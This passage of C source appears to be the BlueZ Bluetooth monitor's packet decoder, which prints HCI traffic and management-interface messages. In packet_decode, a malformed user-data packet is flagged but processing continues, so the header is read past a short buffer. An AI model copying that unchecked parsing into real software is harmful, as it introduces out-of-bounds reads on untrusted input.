{ 0xff, "Vendor", vendor_evt, 0, false },
{ }
};
void packet_new_index(struct timeval *tv, uint16_t index, const char *label,
uint8_t type, uint8_t bus, const char *name)
{
char details[48];
sprintf(details, "(%s,%s,%s)", hci_typetostr(type),
hci_bustostr(bus), name);
print_packet(tv, NULL, '=', index, NULL, COLOR_NEW_INDEX,
"New Index", label, details);
}
void packet_del_index(struct timeval *tv, uint16_t index, const char *label)
{
print_packet(tv, NULL, '=', index, NULL, COLOR_DEL_INDEX,
"Delete Index", label, NULL);
}
void packet_open_index(struct timeval *tv, uint16_t index, const char *label)
{
print_packet(tv, NULL, '=', index, NULL, COLOR_OPEN_INDEX,
"Open Index", label, NULL);
}
void packet_close_index(struct timeval *tv, uint16_t index, const char *label)
{
print_packet(tv, NULL, '=', index, NULL, COLOR_CLOSE_INDEX,
"Close Index", label, NULL);
}
void packet_index_info(struct timeval *tv, uint16_t index, const char *label,
uint16_t manufacturer)
{
char details[128];
sprintf(details, "(%s)", bt_compidtostr(manufacturer));
print_packet(tv, NULL, '=', index, NULL, COLOR_INDEX_INFO,
"Index Info", label, details);
}
void packet_vendor_diag(struct timeval *tv, uint16_t index,
uint16_t manufacturer,
const void *data, uint16_t size)
{
char extra_str[16];
sprintf(extra_str, "(len %d)", size);
print_packet(tv, NULL, '=', index, NULL, COLOR_VENDOR_DIAG,
"Vendor Diagnostic", NULL, extra_str);
switch (manufacturer) {
case 15:
broadcom_lm_diag(data, size);
break;
default:
packet_hexdump(data, size);
break;
}
}
void packet_system_note(struct timeval *tv, struct ucred *cred,
uint16_t index, const void *message)
{
print_packet(tv, cred, '=', index, NULL, COLOR_SYSTEM_NOTE,
"Note", message, NULL);
}
struct monitor_l2cap_hdr {
uint16_t cid;
uint16_t psm;
};
static void packet_decode(struct timeval *tv, struct ucred *cred, char dir,
uint16_t index, const char *color,
const char *label, const void *data,
uint16_t size)
{
const struct monitor_l2cap_hdr *hdr = data;
if (size < sizeof(*hdr)) {
print_packet(tv, cred, '*', index, NULL, COLOR_ERROR,
"Malformed User Data packet", NULL, NULL);
}
print_packet(tv, cred, dir, index, NULL, COLOR_HCI_ACLDATA, label,
dir == '>' ? "User Data RX" : "User Data TX",
NULL);
/* Discard last byte since it just a filler */
l2cap_frame(index, dir == '>', 0, hdr->cid, hdr->psm,
data + sizeof(*hdr), size - (sizeof(*hdr) + 1));
}
void packet_user_logging(struct timeval *tv, struct ucred *cred,
uint16_t index, uint8_t priority,
const char *ident, const void *data,
uint16_t size)
{
char pid_str[140];
const char *label;
const char *color;
if (priority > priority_level)
return;
switch (priority) {
case BTSNOOP_PRIORITY_ERR:
color = COLOR_ERROR;
break;
case BTSNOOP_PRIORITY_WARNING:
color = COLOR_WARN;
break;
case BTSNOOP_PRIORITY_INFO:
color = COLOR_INFO;
break;
case BTSNOOP_PRIORITY_DEBUG:
color = COLOR_DEBUG;
break;
default:
color = COLOR_WHITE_BG;
break;
}
if (cred) {
char *path = alloca(24);
char line[128];
FILE *fp;
snprintf(path, 23, "/proc/%u/comm", cred->pid);
fp = fopen(path, "re");
if (fp) {
if (fgets(line, sizeof(line), fp)) {
line[strcspn(line, "\r\n")] = '\0';
snprintf(pid_str, sizeof(pid_str), "%s[%u]",
line, cred->pid);
} else
snprintf(pid_str, sizeof(pid_str), "%u",
cred->pid);
fclose(fp);
} else
snprintf(pid_str, sizeof(pid_str), "%u", cred->pid);
label = pid_str;
} else {
if (ident)
label = ident;
else
label = "Message";
}
if (ident && (ident[0] == '<' || ident[0] == '>')) {
packet_decode(tv, cred, ident[0], index, color,
label == ident ? &ident[2] : label,
data, size);
return;
}
print_packet(tv, cred, '=', index, NULL, color, label, data, NULL);
}
void packet_hci_command(struct timeval *tv, struct ucred *cred, uint16_t index,
const void *data, uint16_t size)
{
const hci_command_hdr *hdr = data;
uint16_t opcode = le16_to_cpu(hdr->opcode);
uint16_t ogf = cmd_opcode_ogf(opcode);
uint16_t ocf = cmd_opcode_ocf(opcode);
struct opcode_data vendor_data;
const struct opcode_data *opcode_data = NULL;
const char *opcode_color, *opcode_str;
char extra_str[25], vendor_str[150];
int i;
if (index >= MAX_INDEX) {
print_field("Invalid index (%d).", index);
return;
}
index_list[index].frame++;
if (size < HCI_COMMAND_HDR_SIZE || size > BTSNOOP_MAX_PACKET_SIZE) {
sprintf(extra_str, "(len %d)", size);
print_packet(tv, cred, '*', index, NULL, COLOR_ERROR,
"Malformed HCI Command packet", NULL, extra_str);
return;
}
data += HCI_COMMAND_HDR_SIZE;
size -= HCI_COMMAND_HDR_SIZE;
for (i = 0; opcode_table[i].str; i++) {
if (opcode_table[i].opcode == opcode) {
opcode_data = &opcode_table[i];
break;
}
}
if (opcode_data) {
if (opcode_data->cmd_func)
opcode_color = COLOR_HCI_COMMAND;
else
opcode_color = COLOR_HCI_COMMAND_UNKNOWN;
opcode_str = opcode_data->str;
} else {
if (ogf == 0x3f) {
const struct vendor_ocf *vnd = current_vendor_ocf(ocf);
if (vnd) {
const char *str = current_vendor_str();
if (str) {
snprintf(vendor_str, sizeof(vendor_str),
"%s %s", str, vnd->str);
vendor_data.str = vendor_str;
} else
vendor_data.str = vnd->str;
vendor_data.cmd_func = vnd->cmd_func;
vendor_data.cmd_size = vnd->cmd_size;
vendor_data.cmd_fixed = vnd->cmd_fixed;
opcode_data = &vendor_data;
if (opcode_data->cmd_func)
opcode_color = COLOR_HCI_COMMAND;
else
opcode_color = COLOR_HCI_COMMAND_UNKNOWN;
opcode_str = opcode_data->str;
} else {
opcode_color = COLOR_HCI_COMMAND;
opcode_str = "Vendor";
}
} else {
opcode_color = COLOR_HCI_COMMAND_UNKNOWN;
opcode_str = "Unknown";
}
}
sprintf(extra_str, "(0x%2.2x|0x%4.4x) plen %d", ogf, ocf, hdr->plen);
print_packet(tv, cred, '<', index, NULL, opcode_color, "HCI Command",
opcode_str, extra_str);
if (!opcode_data || !opcode_data->cmd_func) {
packet_hexdump(data, size);
return;
}
if (size != hdr->plen) {
print_text(COLOR_ERROR, "invalid packet size (%u != %u)", size,
hdr->plen);
packet_hexdump(data, size);
return;
}
if (opcode_data->cmd_fixed) {
if (hdr->plen != opcode_data->cmd_size) {
print_text(COLOR_ERROR, "invalid packet size");
packet_hexdump(data, size);
return;
}
} else {
if (hdr->plen < opcode_data->cmd_size) {
print_text(COLOR_ERROR, "too short packet");
packet_hexdump(data, size);
return;
}
}
opcode_data->cmd_func(data, hdr->plen);
}
void packet_hci_event(struct timeval *tv, struct ucred *cred, uint16_t index,
const void *data, uint16_t size)
{
const hci_event_hdr *hdr = data;
const struct event_data *event_data = NULL;
const char *event_color, *event_str;
char extra_str[25];
int i;
if (index >= MAX_INDEX) {
print_field("Invalid index (%d).", index);
return;
}
index_list[index].frame++;
if (size < HCI_EVENT_HDR_SIZE) {
sprintf(extra_str, "(len %d)", size);
print_packet(tv, cred, '*', index, NULL, COLOR_ERROR,
"Malformed HCI Event packet", NULL, extra_str);
packet_hexdump(data, size);
return;
}
data += HCI_EVENT_HDR_SIZE;
size -= HCI_EVENT_HDR_SIZE;
for (i = 0; event_table[i].str; i++) {
if (event_table[i].event == hdr->evt) {
event_data = &event_table[i];
break;
}
}
if (event_data) {
if (event_data->func)
event_color = COLOR_HCI_EVENT;
else
event_color = COLOR_HCI_EVENT_UNKNOWN;
event_str = event_data->str;
} else {
event_color = COLOR_HCI_EVENT_UNKNOWN;
event_str = "Unknown";
}
sprintf(extra_str, "(0x%2.2x) plen %d", hdr->evt, hdr->plen);
print_packet(tv, cred, '>', index, NULL, event_color, "HCI Event",
event_str, extra_str);
if (!event_data || !event_data->func) {
packet_hexdump(data, size);
return;
}
if (size != hdr->plen) {
print_text(COLOR_ERROR, "invalid packet size (%u != %u)", size,
hdr->plen);
packet_hexdump(data, size);
return;
}
if (event_data->fixed) {
if (hdr->plen != event_data->size) {
print_text(COLOR_ERROR, "invalid packet size");
packet_hexdump(data, size);
return;
}
} else {
if (hdr->plen < event_data->size) {
print_text(COLOR_ERROR, "too short packet");
packet_hexdump(data, size);
return;
}
}
event_data->func(data, hdr->plen);
}
void packet_hci_acldata(struct timeval *tv, struct ucred *cred, uint16_t index,
bool in, const void *data, uint16_t size)
{
const struct bt_hci_acl_hdr *hdr = data;
uint16_t handle = le16_to_cpu(hdr->handle);
uint16_t dlen = le16_to_cpu(hdr->dlen);
uint8_t flags = acl_flags(handle);
char handle_str[16], extra_str[32];
if (index >= MAX_INDEX) {
print_field("Invalid index (%d).", index);
return;
}
index_list[index].frame++;
if (size < HCI_ACL_HDR_SIZE) {
if (in)
print_packet(tv, cred, '*', index, NULL, COLOR_ERROR,
"Malformed ACL Data RX packet", NULL, NULL);
else
print_packet(tv, cred, '*', index, NULL, COLOR_ERROR,
"Malformed ACL Data TX packet", NULL, NULL);
packet_hexdump(data, size);
return;
}
data += HCI_ACL_HDR_SIZE;
size -= HCI_ACL_HDR_SIZE;
sprintf(handle_str, "Handle %d", acl_handle(handle));
sprintf(extra_str, "flags 0x%2.2x dlen %d", flags, dlen);
print_packet(tv, cred, in ? '>' : '<', index, NULL, COLOR_HCI_ACLDATA,
in ? "ACL Data RX" : "ACL Data TX",
handle_str, extra_str);
if (size != dlen) {
print_text(COLOR_ERROR, "invalid packet size (%d != %d)",
size, dlen);
packet_hexdump(data, size);
return;
}
if (filter_mask & PACKET_FILTER_SHOW_ACL_DATA)
packet_hexdump(data, size);
l2cap_packet(index, in, acl_handle(handle), flags, data, size);
}
void packet_hci_scodata(struct timeval *tv, struct ucred *cred, uint16_t index,
bool in, const void *data, uint16_t size)
{
const hci_sco_hdr *hdr = data;
uint16_t handle = le16_to_cpu(hdr->handle);
uint8_t flags = acl_flags(handle);
char handle_str[16], extra_str[32];
if (index >= MAX_INDEX) {
print_field("Invalid index (%d).", index);
return;
}
index_list[index].frame++;
if (size < HCI_SCO_HDR_SIZE) {
if (in)
print_packet(tv, cred, '*', index, NULL, COLOR_ERROR,
"Malformed SCO Data RX packet", NULL, NULL);
else
print_packet(tv, cred, '*', index, NULL, COLOR_ERROR,
"Malformed SCO Data TX packet", NULL, NULL);
packet_hexdump(data, size);
return;
}
data += HCI_SCO_HDR_SIZE;
size -= HCI_SCO_HDR_SIZE;
sprintf(handle_str, "Handle %d", acl_handle(handle));
sprintf(extra_str, "flags 0x%2.2x dlen %d", flags, hdr->dlen);
print_packet(tv, cred, in ? '>' : '<', index, NULL, COLOR_HCI_SCODATA,
in ? "SCO Data RX" : "SCO Data TX",
handle_str, extra_str);
if (size != hdr->dlen) {
print_text(COLOR_ERROR, "invalid packet size (%d != %d)",
size, hdr->dlen);
packet_hexdump(data, size);
return;
}
if (filter_mask & PACKET_FILTER_SHOW_SCO_DATA)
packet_hexdump(data, size);
}
void packet_hci_isodata(struct timeval *tv, struct ucred *cred, uint16_t index,
bool in, const void *data, uint16_t size)
{
const struct bt_hci_iso_hdr *hdr = data;
uint16_t handle = le16_to_cpu(hdr->handle);
uint8_t flags = acl_flags(handle);
char handle_str[16], extra_str[32];
if (index >= MAX_INDEX) {
print_field("Invalid index (%d).", index);
return;
}
index_list[index].frame++;
if (size < sizeof(*hdr)) {
if (in)
print_packet(tv, cred, '*', index, NULL, COLOR_ERROR,
"Malformed ISO Data RX packet", NULL, NULL);
else
print_packet(tv, cred, '*', index, NULL, COLOR_ERROR,
"Malformed ISO Data TX packet", NULL, NULL);
packet_hexdump(data, size);
return;
}
data += sizeof(*hdr);
size -= sizeof(*hdr);
sprintf(handle_str, "Handle %d", acl_handle(handle));
sprintf(extra_str, "flags 0x%2.2x dlen %d", flags, hdr->dlen);
print_packet(tv, cred, in ? '>' : '<', index, NULL, COLOR_HCI_SCODATA,
in ? "ISO Data RX" : "ISO Data TX",
handle_str, extra_str);
if (size != hdr->dlen) {
print_text(COLOR_ERROR, "invalid packet size (%d != %d)",
size, hdr->dlen);
packet_hexdump(data, size);
return;
}
if (filter_mask & PACKET_FILTER_SHOW_SCO_DATA)
packet_hexdump(data, size);
}
void packet_ctrl_open(struct timeval *tv, struct ucred *cred, uint16_t index,
const void *data, uint16_t size)
{
uint32_t cookie;
uint16_t format;
char channel[11];
if (size < 6) {
print_packet(tv, cred, '*', index, NULL, COLOR_ERROR,
"Malformed Control Open packet", NULL, NULL);
packet_hexdump(data, size);
return;
}
cookie = get_le32(data);
format = get_le16(data + 4);
data += 6;
size -= 6;
sprintf(channel, "0x%4.4x", cookie);
if ((format == CTRL_RAW || format == CTRL_USER || format == CTRL_MGMT)
&& size >= 8) {
uint8_t version;
uint16_t revision;
uint32_t flags;
uint8_t ident_len;
const char *comm;
char details[48];
const char *title;
version = get_u8(data);
revision = get_le16(data + 1);
flags = get_le32(data + 3);
ident_len = get_u8(data + 7);
if ((8 + ident_len) > size) {
print_packet(tv, cred, '*', index, NULL, COLOR_ERROR,
"Malformed Control Open packet", NULL, NULL);
return;
}
data += 8;
size -= 8;
comm = ident_len > 0 ? data : "unknown";
data += ident_len;
size -= ident_len;
assign_ctrl(cookie, format, comm);
sprintf(details, "%sversion %u.%u",
flags & 0x0001 ? "(privileged) " : "",
version, revision);
switch (format) {
case CTRL_RAW:
title = "RAW Open";
break;
case CTRL_USER:
title = "USER Open";
break;
case CTRL_MGMT:
title = "MGMT Open";
break;
default:
title = "Control Open";
break;
}
print_packet(tv, cred, '@', index, channel, COLOR_CTRL_OPEN,
title, comm, details);
} else {
char label[7];
assign_ctrl(cookie, format, NULL);
sprintf(label, "0x%4.4x", format);
print_packet(tv, cred, '@', index, channel, COLOR_CTRL_OPEN,
"Control Open", label, NULL);
}
packet_hexdump(data, size);
}
void packet_ctrl_close(struct timeval *tv, struct ucred *cred, uint16_t index,
const void *data, uint16_t size)
{
uint32_t cookie;
uint16_t format;
char channel[11], label[22];
const char *title;
if (size < 4) {
print_packet(tv, cred, '*', index, NULL, COLOR_ERROR,
"Malformed Control Close packet", NULL, NULL);
packet_hexdump(data, size);
return;
}
cookie = get_le32(data);
data += 4;
size -= 4;
sprintf(channel, "0x%4.4x", cookie);
release_ctrl(cookie, &format, label);
switch (format) {
case CTRL_RAW:
title = "RAW Close";
break;
case CTRL_USER:
title = "USER Close";
break;
case CTRL_MGMT:
title = "MGMT Close";
break;
default:
sprintf(label, "0x%4.4x", format);
title = "Control Close";
break;
}
print_packet(tv, cred, '@', index, channel, COLOR_CTRL_CLOSE,
title, label, NULL);
packet_hexdump(data, size);
}
static const struct {
uint8_t status;
const char *str;
} mgmt_status_table[] = {
{ 0x00, "Success" },
{ 0x01, "Unknown Command" },
{ 0x02, "Not Connected" },
{ 0x03, "Failed" },
{ 0x04, "Connect Failed" },
{ 0x05, "Authentication Failed" },
{ 0x06, "Not Paired" },
{ 0x07, "No Resources" },
{ 0x08, "Timeout" },
{ 0x09, "Already Connected" },
{ 0x0a, "Busy" },
{ 0x0b, "Rejected" },
{ 0x0c, "Not Supported" },
{ 0x0d, "Invalid Parameters" },
{ 0x0e, "Disconnected" },
{ 0x0f, "Not Powered" },
{ 0x10, "Cancelled" },
{ 0x11, "Invalid Index" },
{ 0x12, "RFKilled" },
{ 0x13, "Already Paired" },
{ 0x14, "Permission Denied" },
{ }
};
static void mgmt_print_status(uint8_t status)
{
const char *str = "Unknown";
const char *color_on, *color_off;
bool unknown = true;
int i;
for (i = 0; mgmt_status_table[i].str; i++) {
if (mgmt_status_table[i].status == status) {
str = mgmt_status_table[i].str;
unknown = false;
break;
}
}
if (use_color()) {
if (status) {
if (unknown)
color_on = COLOR_UNKNOWN_ERROR;
else
color_on = COLOR_RED;
} else
color_on = COLOR_GREEN;
color_off = COLOR_OFF;
} else {
color_on = "";
color_off = "";
}
print_field("Status: %s%s%s (0x%2.2x)",
color_on, str, color_off, status);
}
static void mgmt_print_address(const uint8_t *address, uint8_t type)
{
switch (type) {
case 0x00:
print_addr_resolve("BR/EDR Address", address, 0x00, false);
break;
case 0x01:
print_addr_resolve("LE Address", address, 0x00, false);
break;
case 0x02:
print_addr_resolve("LE Address", address, 0x01, false);
break;
default:
print_addr_resolve("Address", address, 0xff, false);
break;
}
}
static const struct bitfield_data mgmt_address_type_table[] = {
{ 0, "BR/EDR" },
{ 1, "LE Public" },
{ 2, "LE Random" },
{ }
};
static void mgmt_print_address_type(uint8_t type)
{
uint8_t mask;
print_field("Address type: 0x%2.2x", type);
mask = print_bitfield(2, type, mgmt_address_type_table);
if (mask)
print_text(COLOR_UNKNOWN_ADDRESS_TYPE, " Unknown address type"
" (0x%2.2x)", mask);
}
static void mgmt_print_version(uint8_t version)
{
packet_print_version("Version", version, NULL, 0x0000);
}
static void mgmt_print_manufacturer(uint16_t manufacturer)
{
packet_print_company("Manufacturer", manufacturer);
}
static const struct bitfield_data mgmt_options_table[] = {
{ 0, "External configuration" },
{ 1, "Bluetooth public address configuration" },
{ }
};
static void mgmt_print_options(const char *label, uint32_t options)
{
uint32_t mask;
print_field("%s: 0x%8.8x", label, options);
mask = print_bitfield(2, options, mgmt_options_table);
if (mask)
print_text(COLOR_UNKNOWN_OPTIONS_BIT, " Unknown options"
" (0x%8.8x)", mask);
}
static const struct bitfield_data mgmt_settings_table[] = {
{ 0, "Powered" },
{ 1, "Connectable" },
{ 2, "Fast Connectable" },
{ 3, "Discoverable" },
{ 4, "Bondable" },
{ 5, "Link Security" },
{ 6, "Secure Simple Pairing" },
{ 7, "BR/EDR" },
{ 8, "High Speed" },
{ 9, "Low Energy" },
{ 10, "Advertising" },
{ 11, "Secure Connections" },
{ 12, "Debug Keys" },
{ 13, "Privacy" },
{ 14, "Controller Configuration"},
{ 15, "Static Address" },
{ 16, "PHY Configuration" },
{ 17, "Wideband Speech" },
{ }
};
static void mgmt_print_settings(const char *label, uint32_t settings)
{
uint32_t mask;
print_field("%s: 0x%8.8x", label, settings);
mask = print_bitfield(2, settings, mgmt_settings_table);
if (mask)
print_text(COLOR_UNKNOWN_SETTINGS_BIT, " Unknown settings"
" (0x%8.8x)", mask);
}
static void mgmt_print_name(const void *data)
{
print_field("Name: %s", (char *) data);
print_field("Short name: %s", (char *) (data + 249));
}
static void mgmt_print_io_capability(uint8_t capability)
{
const char *str;
switch (capability) {
case 0x00:
str = "DisplayOnly";
break;
case 0x01:
str = "DisplayYesNo";
break;
case 0x02:
str = "KeyboardOnly";
break;
case 0x03:
str = "NoInputNoOutput";
break;
case 0x04:
str = "KeyboardDisplay";
break;
default:
str = "Reserved";
break;
}
print_field("Capability: %s (0x%2.2x)", str, capability);
}
static const struct bitfield_data mgmt_device_flags_table[] = {
{ 0, "Confirm Name" },
{ 1, "Legacy Pairing" },
{ 2, "Not Connectable" },
{ 3, "Connection Locally Initiated" },
{ }
};
static void mgmt_print_device_flags(uint32_t flags)
{
uint32_t mask;
print_field("Flags: 0x%8.8x", flags);
mask = print_bitfield(2, flags, mgmt_device_flags_table);
if (mask)
print_text(COLOR_UNKNOWN_DEVICE_FLAG, " Unknown device flag"
" (0x%8.8x)", mask);
}
static void mgmt_print_device_action(uint8_t action)
{
const char *str;
switch (action) {
case 0x00:
str = "Background scan for device";
break;
case 0x01:
str = "Allow incoming connection";
break;
case 0x02:
str = "Auto-connect remote device";
break;
default:
str = "Reserved";
break;
}
print_field("Action: %s (0x%2.2x)", str, action);
}
static const struct bitfield_data mgmt_adv_flags_table[] = {
{ 0, "Switch into Connectable mode" },
{ 1, "Advertise as Discoverable" },
{ 2, "Advertise as Limited Discoverable" },
{ 3, "Add Flags field to Advertising Data" },
{ 4, "Add TX Power field to Advertising Data" },
{ 5, "Add Appearance field to Scan Response" },
{ 6, "Add Local Name in Scan Response" },
{ 7, "Advertise in 1M on Secondary channel" },
{ 8, "Advertise in 2M on Secondary channel" },
{ 9, "Advertise in CODED on Secondary channel" },
{ 12, "Use provided duration parameter" },
{ 13, "Use provided timeout parameter" },
{ 14, "Use provided interval parameters" },
{ 15, "Use provided tx power parameter" },
{ }
};
#define MGMT_ADV_PARAM_DURATION (1 << 12)
#define MGMT_ADV_PARAM_TIMEOUT (1 << 13)
#define MGMT_ADV_PARAM_INTERVALS (1 << 14)
#define MGMT_ADV_PARAM_TX_POWER (1 << 15)
static void mgmt_print_adv_flags(uint32_t flags)
{
uint32_t mask;
print_field("Flags: 0x%8.8x", flags);
mask = print_bitfield(2, flags, mgmt_adv_flags_table);
if (mask)
print_text(COLOR_UNKNOWN_ADV_FLAG, " Unknown advertising flag"
" (0x%8.8x)", mask);
}
static void mgmt_print_store_hint(uint8_t hint)
{
const char *str;
switch (hint) {
case 0x00:
str = "No";
break;
case 0x01:
str = "Yes";
break;
default:
str = "Reserved";
break;
}
print_field("Store hint: %s (0x%2.2x)", str, hint);
}
static void mgmt_print_connection_parameter(const void *data)
{
uint8_t address_type = get_u8(data + 6);
uint16_t min_conn_interval = get_le16(data + 7);
uint16_t max_conn_interval = get_le16(data + 9);
uint16_t conn_latency = get_le16(data + 11);
uint16_t supv_timeout = get_le16(data + 13);
mgmt_print_address(data, address_type);
print_field("Min connection interval: %u", min_conn_interval);
print_field("Max connection interval: %u", max_conn_interval);
print_conn_latency("Connection latency", conn_latency);
print_field("Supervision timeout: %u", supv_timeout);
}
static void mgmt_print_link_key(const void *data)
{
uint8_t address_type = get_u8(data + 6);
uint8_t key_type = get_u8(data + 7);
uint8_t pin_len = get_u8(data + 24);
mgmt_print_address(data, address_type);
print_key_type(key_type);
print_link_key(data + 8);
print_field("PIN length: %d", pin_len);
}
static void mgmt_print_long_term_key(const void *data)
{
uint8_t address_type = get_u8(data + 6);
uint8_t key_type = get_u8(data + 7);
uint8_t master = get_u8(data + 8);
uint8_t enc_size = get_u8(data + 9);
const char *str;
mgmt_print_address(data, address_type);
switch (key_type) {
case 0x00:
str = "Unauthenticated legacy key";
break;
case 0x01:
str = "Authenticated legacy key";
break;
case 0x02:
str = "Unauthenticated key from P-256";
break;
case 0x03:
str = "Authenticated key from P-256";
break;
case 0x04:
str = "Debug key from P-256";
break;
default:
str = "Reserved";
break;
}
print_field("Key type: %s (0x%2.2x)", str, key_type);
print_field("Master: 0x%2.2x", master);
print_field("Encryption size: %u", enc_size);
print_hex_field("Diversifier", data + 10, 2);
print_hex_field("Randomizer", data + 12, 8);
print_hex_field("Key", data + 20, 16);
}
static void mgmt_print_identity_resolving_key(const void *data)
{
uint8_t address_type = get_u8(data + 6);
mgmt_print_address(data, address_type);
print_hex_field("Key", data + 7, 16);
}
static void mgmt_print_signature_resolving_key(const void *data)
{
uint8_t address_type = get_u8(data + 6);
uint8_t key_type = get_u8(data + 7);
const char *str;
mgmt_print_address(data, address_type);
switch (key_type) {
case 0x00:
str = "Unauthenticated local CSRK";
break;
case 0x01:
str = "Unauthenticated remote CSRK";
break;
case 0x02:
str = "Authenticated local CSRK";
break;
case 0x03:
str = "Authenticated remote CSRK";
break;
default:
str = "Reserved";
break;
}
print_field("Key type: %s (0x%2.2x)", str, key_type);
print_hex_field("Key", data + 8, 16);
}
static void mgmt_print_oob_data(const void *data)
{
print_hash_p192(data);
print_randomizer_p192(data + 16);
print_hash_p256(data + 32);
print_randomizer_p256(data + 48);
}
static const struct bitfield_data mgmt_exp_feature_flags_table[] = {
{ 0, "Active" },
{ 1, "Settings change" },
{ }
};
static void mgmt_print_exp_feature(const void *data)
{
uint32_t flags = get_le32(data + 16);
uint32_t mask;
print_field("UUID: %s", bt_uuid128_to_str(data));
print_field("Flags: 0x%8.8x", flags);
mask = print_bitfield(2, flags, mgmt_exp_feature_flags_table);
if (mask)
print_text(COLOR_UNKNOWN_EXP_FEATURE_FLAG,
" Unknown feature flag (0x%8.8x)", mask);
}
static void mgmt_null_cmd(const void *data, uint16_t size)
{
}
static void mgmt_null_rsp(const void *data, uint16_t size)
{
}
static void mgmt_read_version_info_rsp(const void *data, uint16_t size)
{
uint8_t version;
uint16_t revision;
version = get_u8(data);
revision = get_le16(data + 1);
print_field("Version: %u.%u", version, revision);
}
static void mgmt_print_commands(const void *data, uint16_t num);
static void mgmt_print_events(const void *data, uint16_t num);
static void mgmt_read_supported_commands_rsp(const void *data, uint16_t size)
{
uint16_t num_commands = get_le16(data);
uint16_t num_events = get_le16(data + 2);
if (size - 4 != (num_commands * 2) + (num_events *2)) {
packet_hexdump(data, size);
return;
}
mgmt_print_commands(data + 4, num_commands);
mgmt_print_events(data + 4 + num_commands * 2, num_events);
}
static void mgmt_read_index_list_rsp(const void *data, uint16_t size)
{
uint16_t num_controllers = get_le16(data);
int i;
print_field("Controllers: %u", num_controllers);
if (size - 2 != num_controllers * 2) {
packet_hexdump(data + 2, size - 2);
return;
}
for (i = 0; i < num_controllers; i++) {
uint16_t index = get_le16(data + 2 + (i * 2));
print_field(" hci%u", index);
}
}
static void mgmt_read_controller_info_rsp(const void *data, uint16_t size)
{
uint8_t version = get_u8(data + 6);
uint16_t manufacturer = get_le16(data + 7);
uint32_t supported_settings = get_le32(data + 9);
uint32_t current_settings = get_le32(data + 13);
print_addr_resolve("Address", data, 0x00, false);
mgmt_print_version(version);
mgmt_print_manufacturer(manufacturer);
mgmt_print_settings("Supported settings", supported_settings);
mgmt_print_settings("Current settings", current_settings);
print_dev_class(data + 17);
mgmt_print_name(data + 20);
}
static void mgmt_set_powered_cmd(const void *data, uint16_t size)
{
uint8_t enable = get_u8(data);
print_enable("Powered", enable);
}
static void mgmt_set_discoverable_cmd(const void *data, uint16_t size)
{
uint8_t enable = get_u8(data);
uint16_t timeout = get_le16(data + 1);
const char *str;
switch (enable) {
case 0x00:
str = "Disabled";
break;
case 0x01:
str = "General";
break;
case 0x02:
str = "Limited";
break;
default:
str = "Reserved";
break;
}
print_field("Discoverable: %s (0x%2.2x)", str, enable);
print_field("Timeout: %u", timeout);
}
static void mgmt_set_connectable_cmd(const void *data, uint16_t size)
{
uint8_t enable = get_u8(data);
print_enable("Connectable", enable);
}
static void mgmt_set_fast_connectable_cmd(const void *data, uint16_t size)
{
uint8_t enable = get_u8(data);
print_enable("Fast Connectable", enable);
}
static void mgmt_set_bondable_cmd(const void *data, uint16_t size)
{
uint8_t enable = get_u8(data);
print_enable("Bondable", enable);
}
static void mgmt_set_link_security_cmd(const void *data, uint16_t size)
{
uint8_t enable = get_u8(data);
print_enable("Link Security", enable);
}
static void mgmt_set_secure_simple_pairing_cmd(const void *data, uint16_t size)
{
uint8_t enable = get_u8(data);
print_enable("Secure Simple Pairing", enable);
}
static void mgmt_set_high_speed_cmd(const void *data, uint16_t size)
{
uint8_t enable = get_u8(data);
print_enable("High Speed", enable);
}
static void mgmt_set_low_energy_cmd(const void *data, uint16_t size)
{
uint8_t enable = get_u8(data);
print_enable("Low Energy", enable);
}
static void mgmt_new_settings_rsp(const void *data, uint16_t size)
{
uint32_t current_settings = get_le32(data);
mgmt_print_settings("Current settings", current_settings);
}
static void mgmt_set_device_class_cmd(const void *data, uint16_t size)
{
uint8_t major = get_u8(data);
uint8_t minor = get_u8(data + 1);
print_field("Major class: 0x%2.2x", major);
print_field("Minor class: 0x%2.2x", minor);
}
static void mgmt_set_device_class_rsp(const void *data, uint16_t size)
{
print_dev_class(data);
}
static void mgmt_set_local_name_cmd(const void *data, uint16_t size)
{
mgmt_print_name(data);
}
static void mgmt_set_local_name_rsp(const void *data, uint16_t size)
{
mgmt_print_name(data);
}
static void mgmt_add_uuid_cmd(const void *data, uint16_t size)
{
uint8_t service_class = get_u8(data + 16);
print_field("UUID: %s", bt_uuid128_to_str(data));
print_field("Service class: 0x%2.2x", service_class);
}
static void mgmt_add_uuid_rsp(const void *data, uint16_t size)
{
print_dev_class(data);
}
static void mgmt_remove_uuid_cmd(const void *data, uint16_t size)
{
print_field("UUID: %s", bt_uuid128_to_str(data));
}
static void mgmt_remove_uuid_rsp(const void *data, uint16_t size)
{
print_dev_class(data);
}
static void mgmt_load_link_keys_cmd(const void *data, uint16_t size)
{
uint8_t debug_keys = get_u8(data);
uint16_t num_keys = get_le16(data + 1);
int i;
print_enable("Debug keys", debug_keys);
print_field("Keys: %u", num_keys);
if (size - 3 != num_keys * 25) {
packet_hexdump(data + 3, size - 3);
return;
}
for (i = 0; i < num_keys; i++)
mgmt_print_link_key(data + 3 + (i * 25));
}
static void mgmt_load_long_term_keys_cmd(const void *data, uint16_t size)
{
uint16_t num_keys = get_le16(data);
int i;
print_field("Keys: %u", num_keys);
if (size - 2 != num_keys * 36) {
packet_hexdump(data + 2, size - 2);
return;
}
for (i = 0; i < num_keys; i++)
mgmt_print_long_term_key(data + 2 + (i * 36));
}
static void mgmt_disconnect_cmd(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
mgmt_print_address(data, address_type);
}
static void mgmt_disconnect_rsp(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
mgmt_print_address(data, address_type);
}
static void mgmt_get_connections_rsp(const void *data, uint16_t size)
{
uint16_t num_connections = get_le16(data);
int i;
print_field("Connections: %u", num_connections);
if (size - 2 != num_connections * 7) {
packet_hexdump(data + 2, size - 2);
return;
}
for (i = 0; i < num_connections; i++) {
uint8_t address_type = get_u8(data + 2 + (i * 7) + 6);
mgmt_print_address(data + 2 + (i * 7), address_type);
}
}
static void mgmt_pin_code_reply_cmd(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
uint8_t pin_len = get_u8(data + 7);
mgmt_print_address(data, address_type);
print_field("PIN length: %u", pin_len);
print_hex_field("PIN code", data + 8, 16);
}
static void mgmt_pin_code_reply_rsp(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
mgmt_print_address(data, address_type);
}
static void mgmt_pin_code_neg_reply_cmd(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
mgmt_print_address(data, address_type);
}
static void mgmt_pin_code_neg_reply_rsp(const void *data, uint16_t size)
{
